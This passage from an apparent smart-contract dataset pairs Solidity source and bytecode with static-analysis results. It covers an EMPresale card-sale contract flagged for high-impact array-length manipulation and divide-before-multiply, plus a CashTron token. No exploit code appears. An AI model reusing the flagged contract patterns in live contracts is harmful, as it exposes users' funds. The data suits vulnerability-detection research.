60208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a4a7663d4123f6b4889f418d8e4be974a0ac6fb0a9d41f43b72ac9be58d9743264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,631 |
0xf1ef9f5a3d3ec8391016d12ef37f0d70cf73d391 | pragma solidity ^0.4.18;
contract EMPresale {
bool inMaintainance;
bool isRefundable;
// Data -----------------------------
struct Player {
uint32 id; // if 0, then player don't exist
mapping(uint8 => uint8) bought;
uint256 weiSpent;
bool hasSpent;
}
struct Sale {
uint8 bought;
uint8 maxBought;
uint32 cardTypeID;
uint256 price;
uint256 saleEndTime;
bool isAirdrop; // enables minting (+maxBought per hour until leftToMint==0)
// + each player can only buy once
// + is free
uint256 nextMintTime;
uint8 leftToMint;
}
address admin;
address[] approverArr; // for display purpose only
mapping(address => bool) approvers;
address[] playerAddrs; // 0 index not used
uint32[] playerRefCounts; // 0 index not used
mapping(address => Player) players;
mapping(uint8 => Sale) sales; // use from 1 onwards
uint256 refPrize;
// CONSTRUCTOR =======================
function EMPresale() public {
admin = msg.sender;
approverArr.push(admin);
approvers[admin] = true;
playerAddrs.push(address(0));
playerRefCounts.push(0);
}
// ADMIN FUNCTIONS =======================
function setSaleType_Presale(uint8 saleID, uint8 maxBought, uint32 cardTypeID, uint256 price, uint256 saleEndTime) external onlyAdmin {
Sale storage sale = sales[saleID];
// assign sale type
sale.bought = 0;
sale.maxBought = maxBought;
sale.cardTypeID = cardTypeID;
sale.price = price;
sale.saleEndTime = saleEndTime;
// airdrop type
sale.isAirdrop = false;
}
function setSaleType_Airdrop(uint8 saleID, uint8 maxBought, uint32 cardTypeID, uint8 leftToMint, uint256 firstMintTime) external onlyAdmin {
Sale storage sale = sales[saleID];
// assign sale type
sale.bought = 0;
sale.maxBought = maxBought;
sale.cardTypeID = cardTypeID;
sale.price = 0;
sale.saleEndTime = 2000000000;
// airdrop type
require(leftToMint >= maxBought);
sale.isAirdrop = true;
sale.nextMintTime = firstMintTime;
sale.leftToMint = leftToMint - maxBought;
}
function stopSaleType(uint8 saleID) external onlyAdmin {
delete sales[saleID].saleEndTime;
}
function redeemCards(address playerAddr, uint8 saleID) external onlyApprover returns(uint8) {
Player storage player = players[playerAddr];
uint8 owned = player.bought[saleID];
player.bought[saleID] = 0;
return owned;
}
function setRefundable(bool refundable) external onlyAdmin {
isRefundable = refundable;
}
function refund() external {
require(isRefundable);
Player storage player = players[msg.sender];
uint256 spent = player.weiSpent;
player.weiSpent = 0;
msg.sender.transfer(spent);
}
// PLAYER FUNCTIONS ========================
function buySaleNonReferral(uint8 saleID) external payable {
buySale(saleID, address(0));
}
function buySaleReferred(uint8 saleID, address referral) external payable {
buySale(saleID, referral);
}
function buySale(uint8 saleID, address referral) private {
require(!inMaintainance);
require(msg.sender != address(0));
// check that sale is still on
Sale storage sale = sales[saleID];
require(sale.saleEndTime > now);
bool isAirdrop = sale.isAirdrop;
if(isAirdrop) {
// airdrop minting
if(now >= sale.nextMintTime) { // hit a cycle
sale.nextMintTime += ((now-sale.nextMintTime)/3600)*3600+3600; // mint again next hour
if(sale.bought != 0) {
uint8 leftToMint = sale.leftToMint;
if(leftToMint < sale.bought) { // not enough to recover, set maximum left to be bought
sale.maxBought = sale.maxBought + leftToMint - sale.bought;
sale.leftToMint = 0;
} else
sale.leftToMint -= sale.bought;
sale.bought = 0;
}
}
} else {
// check ether is paid
require(msg.value >= sale.price);
}
// check not all is bought
require(sale.bought < sale.maxBought);
sale.bought++;
bool toRegisterPlayer = false;
bool toRegisterReferral = false;
// register player if unregistered
Player storage player = players[msg.sender];
if(player.id == 0)
toRegisterPlayer = true;
// cannot buy more than once if airdrop
if(isAirdrop)
require(player.bought[saleID] == 0);
// give ownership
player.bought[saleID]++;
if(!isAirdrop) // is free otherwise
player.weiSpent += msg.value;
// if hasn't referred, add referral
if(!player.hasSpent) {
player.hasSpent = true;
if(referral != address(0) && referral != msg.sender) {
Player storage referredPlayer = players[referral];
if(referredPlayer.id == 0) { // add referred player if unregistered
toRegisterReferral = true;
} else { // if already registered, just up ref count
playerRefCounts[referredPlayer.id]++;
}
}
}
// register player(s)
if(toRegisterPlayer && toRegisterReferral) {
uint256 length = (uint32)(playerAddrs.length);
player.id = (uint32)(length);
referredPlayer.id = (uint32)(length+1);
playerAddrs.length = length+2;
playerRefCounts.length = length+2;
playerAddrs[length] = msg.sender;
playerAddrs[length+1] = referral;
playerRefCounts[length+1] = 1;
} else if(toRegisterPlayer) {
player.id = (uint32)(playerAddrs.length);
playerAddrs.push(msg.sender);
playerRefCounts.push(0);
} else if(toRegisterReferral) {
referredPlayer.id = (uint32)(playerAddrs.length);
playerAddrs.push(referral);
playerRefCounts.push(1);
}
// referral prize
refPrize += msg.value/40; // 2.5% added to prize money
}
function GetSaleInfo_Presale(uint8 saleID) external view returns (uint8, uint8, uint8, uint32, uint256, uint256) {
uint8 playerOwned = 0;
if(msg.sender != address(0))
playerOwned = players[msg.sender].bought[saleID];
Sale storage sale = sales[saleID];
return (playerOwned, sale.bought, sale.maxBought, sale.cardTypeID, sale.price, sale.saleEndTime);
}
function GetSaleInfo_Airdrop(uint8 saleID) external view returns (uint8, uint8, uint8, uint32, uint256, uint8) {
uint8 playerOwned = 0;
if(msg.sender != address(0))
playerOwned = players[msg.sender].bought[saleID];
Sale storage sale = sales[saleID];
uint8 bought = sale.bought;
uint8 maxBought = sale.maxBought;
uint256 nextMintTime = sale.nextMintTime;
uint8 leftToMintResult = sale.leftToMint;
// airdrop minting
if(now >= nextMintTime) { // hit a cycle
nextMintTime += ((now-nextMintTime)/3600)*3600+3600; // mint again next hour
if(bought != 0) {
uint8 leftToMint = leftToMintResult;
if(leftToMint < bought) { // not enough to recover, set maximum left to be bought
maxBought = maxBought + leftToMint - bought;
leftToMintResult = 0;
} else
leftToMintResult -= bought;
bought = 0;
}
}
return (playerOwned, bought, maxBought, sale.cardTypeID, nextMintTime, leftToMintResult);
}
function GetReferralInfo() external view returns(uint256, uint32) {
uint32 refCount = 0;
uint32 id = players[msg.sender].id;
if(id != 0)
refCount = playerRefCounts[id];
return (refPrize, refCount);
}
function GetPlayer_FromAddr(address playerAddr, uint8 saleID) external view returns(uint32, uint8, uint256, bool, uint32) {
Player storage player = players[playerAddr];
return (player.id, player.bought[saleID], player.weiSpent, player.hasSpent, playerRefCounts[player.id]);
}
function GetPlayer_FromID(uint32 id, uint8 saleID) external view returns(address, uint8, uint256, bool, uint32) {
address playerAddr = playerAddrs[id];
Player storage player = players[playerAddr];
return (playerAddr, player.bought[saleID], player.weiSpent, player.hasSpent, playerRefCounts[id]);
}
function getAddressesCount() external view returns(uint) {
return playerAddrs.length;
}
function getAddresses() external view returns(address[]) {
return playerAddrs;
}
function getAddress(uint256 id) external view returns(address) {
return playerAddrs[id];
}
function getReferralCounts() external view returns(uint32[]) {
return playerRefCounts;
}
function getReferralCount(uint256 playerID) external view returns(uint32) {
return playerRefCounts[playerID];
}
function GetNow() external view returns (uint256) {
return now;
}
// PAYMENT FUNCTIONS =======================
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
function depositEtherBalance() external payable {
}
function withdrawEtherBalance(uint256 amt) external onlyAdmin {
admin.transfer(amt);
}
// RIGHTS FUNCTIONS =======================
function setMaintainance(bool maintaining) external onlyAdmin {
inMaintainance = maintaining;
}
function isInMaintainance() external view returns(bool) {
return inMaintainance;
}
function getApprovers() external view returns(address[]) {
return approverArr;
}
// change admin
// only admin can perform this function
function switchAdmin(address newAdmin) external onlyAdmin {
admin = newAdmin;
}
// add a new approver
// only admin can perform this function
function addApprover(address newApprover) external onlyAdmin {
require(!approvers[newApprover]);
approvers[newApprover] = true;
approverArr.push(newApprover);
}
// remove an approver
// only admin can perform this function
function removeApprover(address oldApprover) external onlyAdmin {
require(approvers[oldApprover]);
delete approvers[oldApprover];
// swap last address with deleted address (for array)
uint256 length = approverArr.length;
address swapAddr = approverArr[length - 1];
for(uint8 i=0; i<length; i++) {
if(approverArr[i] == oldApprover) {
approverArr[i] = swapAddr;
break;
}
}
approverArr.length--;
}
// MODIFIERS =======================
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyApprover() {
require(approvers[msg.sender]);
_;
}
} | 0x6060604052600436106101695763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663060df918811461016e57806306a493fa146101a25780631318b88c146101dd57806328d879e4146102435780632d9e87c51461024b5780633aa36dd41461026357806347293d15146102c05780634ca8c1e8146102e55780634d536c031461030c5780635128ab7b1461031a578063590e1ae3146103755780635e80377b146103885780636cb3e8ef146103a25780636cf4c88f14610408578063732617bb14610427578063847f4a88146104465780638856d5171461045f578063a30376b714610490578063a39fac12146104bf578063a904cc53146104d2578063b56ebf42146104e8578063b646c194146104fb578063b93f9b0a1461051a578063dc9d625b1461054c578063ea46193e14610564578063ea59a4e814610577578063ee37e271146105d7578063fd60e1a814610605575b600080fd5b341561017957600080fd5b6101a060ff60043581169060243581169063ffffffff604435169060643516608435610618565b005b34156101ad57600080fd5b6101c7600160a060020a036004351660ff602435166106cd565b60405160ff909116815260200160405180910390f35b34156101e857600080fd5b6101ff63ffffffff6004351660ff60243516610735565b604051600160a060020a03909516855260ff90931660208501526040808501929092521515606084015263ffffffff909116608083015260a0909101905180910390f35b6101a06107f5565b341561025657600080fd5b6101a060043515156107f7565b341561026e57600080fd5b61027c60ff60043516610832565b60405160ff968716815294861660208601529290941660408085019190915263ffffffff9091166060840152608083019390935260a082015260c001905180910390f35b34156102cb57600080fd5b6102d36108c5565b60405190815260200160405180910390f35b34156102f057600080fd5b6102f86108cc565b604051901515815260200160405180910390f35b6101a060ff600435166108d5565b341561032557600080fd5b61033360ff600435166108e3565b60405160ff9687168152948616602086015292851660408086019190915263ffffffff90921660608501526080840152921660a082015260c001905180910390f35b341561038057600080fd5b6101a06109ff565b6101a060ff60043516600160a060020a0360243516610a69565b34156103ad57600080fd5b6103b5610a73565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f45780820151838201526020016103dc565b505050509050019250505060405180910390f35b341561041357600080fd5b6101a0600160a060020a0360043516610adb565b341561043257600080fd5b6101a0600160a060020a0360043516610c27565b341561045157600080fd5b6101a060ff60043516610c7f565b341561046a57600080fd5b610472610cb7565b60405191825263ffffffff1660208201526040908101905180910390f35b341561049b57600080fd5b6104a6600435610d29565b60405163ffffffff909116815260200160405180910390f35b34156104ca57600080fd5b6103b5610d67565b34156104dd57600080fd5b6101a0600435610dcd565b34156104f357600080fd5b6102d3610e27565b341561050657600080fd5b6101a0600160a060020a0360043516610e2b565b341561052557600080fd5b610530600435610ee0565b604051600160a060020a03909116815260200160405180910390f35b341561055757600080fd5b6101a06004351515610f0c565b341561056f57600080fd5b6102d3610f40565b341561058257600080fd5b61059c600160a060020a036004351660ff60243516610f4e565b60405163ffffffff958616815260ff90941660208501526040808501939093529015156060840152909216608082015260a001905180910390f35b34156105e257600080fd5b6101a060ff6004358116906024351663ffffffff60443516606435608435610fec565b341561061057600080fd5b6103b5611070565b6000805433600160a060020a0390811662010000909204161461063a57600080fd5b5060ff8581166000908152600660205260408120805461ffff19166101008885169081029190911765ffffffff000019166201000063ffffffff891602178255600182019290925563773594006002820155918416101561069a57600080fd5b60038101805460ff19908116600117909155600482019290925560050180549490920360ff169316929092179091555050565b600160a060020a0333166000908152600260205260408120548190819060ff1615156106f857600080fd5b505050600160a060020a0391909116600090815260056020908152604080832060ff94851684526001019091529020805460ff1981169091551690565b600080600080600080600060038963ffffffff1681548110151561075557fe5b6000918252602080832090910154600160a060020a031680835260058252604080842060ff808e16865260018201909452932054600284015460038501546004805494985095965087959285169491939116919063ffffffff8f169081106107b957fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff169650965096509650965050509295509295909350565b565b60005433600160a060020a0390811662010000909204161461081857600080fd5b600080549115156101000261ff0019909216919091179055565b60008080808080808033600160a060020a03161561087c57600160a060020a033316600090815260056020908152604080832060ff808e1685526001909101909252909120541691505b5060ff978816600090815260066020526040902080546001820154600290920154929a818b169a61010083041699506201000090910463ffffffff169750909550909350915050565b6003545b90565b60005460ff1690565b6108e08160006110f9565b50565b600080808080808080808080808033600160a060020a031615610950576005600033600160a060020a0316600160a060020a0316815260200190815260200160002060010160008f60ff1660ff16815260200190815260200160002060009054906101000a900460ff1696505b60ff808f1660009081526006602052604090208054600482015460058301549299508184169850610100909104831696509450169150428390106109db57610e104284900304610e1002610e1001830192508460ff1660001415156109db578190508460ff168160ff1610156109d05784818501039350600091506109d6565b84820391505b600094505b509354949c929b509099506201000090930463ffffffff1697509195509350915050565b600080548190610100900460ff161515610a1857600080fd5b5050600160a060020a033316600081815260056020526040808220600281018054939055929082156108fc0290839051600060405180830381858888f193505050501515610a6557600080fd5b5050565b610a6582826110f9565b610a7b61162b565b6001805480602002602001604051908101604052809291908181526020018280548015610ad157602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610ab3575b5050505050905090565b600080548190819033600160a060020a03908116620100009092041614610b0157600080fd5b600160a060020a03841660009081526002602052604090205460ff161515610b2857600080fd5b600160a060020a0384166000908152600260205260409020805460ff191690556001805493506000198401848110610b5c57fe5b6000918252602082200154600160a060020a0316925090505b828160ff161015610c0d5783600160a060020a031660018260ff16815481101515610b9c57fe5b600091825260209091200154600160a060020a03161415610c05578160018260ff16815481101515610bca57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610c0d565b600101610b75565b6001805490610c2090600019830161163d565b5050505050565b60005433600160a060020a03908116620100009092041614610c4857600080fd5b60008054600160a060020a03909216620100000275ffffffffffffffffffffffffffffffffffffffff000019909216919091179055565b60005433600160a060020a03908116620100009092041614610ca057600080fd5b60ff16600090815260066020526040812060020155565b600160a060020a0333166000908152600560205260408120548190819063ffffffff168015610d1d576004805463ffffffff8316908110610cf457fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1691505b50600754939092509050565b6000600482815481101515610d3a57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff169050919050565b610d6f61162b565b6003805480602002602001604051908101604052809291908181526020018280548015610ad157602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610ab3575050505050905090565b60005433600160a060020a03908116620100009092041614610dee57600080fd5b600054620100009004600160a060020a03166108fc82150282604051600060405180830381858888f1935050505015156108e057600080fd5b4290565b60005433600160a060020a03908116620100009092041614610e4c57600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610e7257600080fd5b600160a060020a0381166000908152600260205260409020805460ff191660019081179091558054808201610ea7838261163d565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600382815481101515610ef157fe5b600091825260209091200154600160a060020a031692915050565b60005433600160a060020a03908116620100009092041614610f2d57600080fd5b6000805460ff1916911515919091179055565b600160a060020a0330163190565b600160a060020a0382166000908152600560209081526040808320805460ff8087168652600183019094529184205460028201546003830154600480548897889788978897909663ffffffff9092169590831694919392169185908110610fb157fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1695509550955095509550509295509295909350565b6000805433600160a060020a0390811662010000909204161461100e57600080fd5b5060ff9485166000908152600660205260409020805463ffffffff909416620100000265ffffffff000019959096166101000261ffff19909416939093179390931693909317815560018101929092556002820155600301805460ff19169055565b61107861162b565b6004805480602002602001604051908101604052809291908181526020018280548015610ad157602002820191906000526020600020906000905b82829054906101000a900463ffffffff1663ffffffff16815260200190600401906020826003010492830192600103820291508084116110b35790505050505050905090565b60008054819081908190819081908190819060ff161561111857600080fd5b33600160a060020a0316151561112d57600080fd5b60ff8a166000908152600660205260409020600281015490985042901161115357600080fd5b600388015460ff1696508615611206576004880154421061120157600488018054610e10428290038190048102909101019055875460ff1615611201576005880154885460ff9182169750168610156111d757875461ff0019811660ff8083166101009384900482168a01031690910217885560058801805460ff191690556111f8565b875460058901805460ff9283168184160390921660ff199092169190911790555b875460ff191688555b611217565b600188015434101561121757600080fd5b875460ff6101008204811691161061122e57600080fd5b875460ff8082166001011660ff19909116178855600160a060020a03331660009081526005602052604081208054919650869550935063ffffffff16151561127557600194505b861561129c5760ff808b166000908152600185016020526040902054161561129c57600080fd5b60ff8a8116600090815260018581016020526040909120805460ff1981169084169092019092161790558615156112d857600283018054340190555b600383015460ff1615156113a75760038301805460ff19166001179055600160a060020a0389161580159061131f575033600160a060020a031689600160a060020a031614155b156113a757600160a060020a0389166000908152600560205260409020805490925063ffffffff16151561135657600193506113a7565b815460048054909163ffffffff1690811061136d57fe5b600091825260209091206008820401805460079092166004026101000a63ffffffff81810219841693829004811660010116029190911790555b8480156113b15750835b156114d2575060038054835463ffffffff91821663ffffffff19918216811786558454909116600182019092169190911783559060028201906113f4908261163d565b5060028101611404600482611666565b503360038281548110151561141557fe5b906000526020600020900160006101000a815481600160a060020a030219169083600160a060020a031602179055508860038260010181548110151561145757fe5b906000526020600020900160006101000a815481600160a060020a030219169083600160a060020a03160217905550600160048260010181548110151561149a57fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff160217905550611614565b84156115735760038054845463ffffffff191663ffffffff909116178455805460018101611500838261163d565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a031617905560048054600181016115448382611666565b50600091825260209091206008820401805460079092166004026101000a63ffffffff02199091169055611614565b83156116145760038054835463ffffffff191663ffffffff9091161783558054600181016115a1838261163d565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038b1617905560048054600181016115e58382611666565b50600091825260209091206008820401805460079092166004026101000a63ffffffff81021990921690911790555b505060078054602834040190555050505050505050565b60206040519081016040526000815290565b81548183558181151161166157600083815260209020611661918101908301611696565b505050565b81548183558181151161166157600701600890048160070160089004836000526020600020918201910161166191905b6108c991905b808211156116b0576000815560010161169c565b50905600a165627a7a72305820e0d5dee7f753720de3e5ba3d28531e6e4103f9cab4fcaa125bc19fc83dc21dee0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,632 |
0x69e2a1d7e6c50a7651b744dbc7bfff40bae95e72 | //--------------------------------------------------------------------------------
// CashTron Currency Token "THBC" (Is Not Bank Legal Money)
// USDC/EURC/AUDC/CADC/NZDC/RUBC/CNYC/SGDC/PHPC/IDRC/MYRC/#THBC
// CashTron @ 2018 CashTron.io CashTron.co
//--------------------------------------------------------------------------------
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken, Ownable {
using SafeMath for uint256;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) public onlyOwner returns (bool success) {
// Check if the sender has enough
require(balances[msg.sender] >= _value);
// Subtract from the sender
balances[msg.sender] = balances[msg.sender].sub(_value);
// Updates totalSupply
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
contract CashTron is BurnableToken {
using SafeMath for uint256;
string public constant name = "CashTron";
string public constant symbol = "THBC";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 4000000000;
function CashTron() public {
totalSupply = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
balances[msg.sender] = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
Transfer(0x0, msg.sender, totalSupply);
}
} | 0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461019f57806323b872dd146101c45780632ff2e9dc146101ec578063313ce567146101ff57806342966c6814610228578063661884631461023e57806370a08231146102605780638da5cb5b1461027f57806395d89b41146102ae578063a9059cbb146102c1578063d73dd623146102e3578063dd62ed3e14610305578063f2fde38b1461032a575b600080fd5b34156100ea57600080fd5b6100f261034b565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012e578082015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017457600080fd5b61018b600160a060020a0360043516602435610382565b604051901515815260200160405180910390f35b34156101aa57600080fd5b6101b26103ee565b60405190815260200160405180910390f35b34156101cf57600080fd5b61018b600160a060020a03600435811690602435166044356103f4565b34156101f757600080fd5b6101b2610576565b341561020a57600080fd5b61021261057e565b60405160ff909116815260200160405180910390f35b341561023357600080fd5b61018b600435610583565b341561024957600080fd5b61018b600160a060020a0360043516602435610665565b341561026b57600080fd5b6101b2600160a060020a0360043516610761565b341561028a57600080fd5b61029261077c565b604051600160a060020a03909116815260200160405180910390f35b34156102b957600080fd5b6100f261078b565b34156102cc57600080fd5b61018b600160a060020a03600435166024356107c2565b34156102ee57600080fd5b61018b600160a060020a03600435166024356108bd565b341561031057600080fd5b6101b2600160a060020a0360043581169060243516610961565b341561033557600080fd5b610349600160a060020a036004351661098c565b005b60408051908101604052600881527f4361736854726f6e00000000000000000000000000000000000000000000000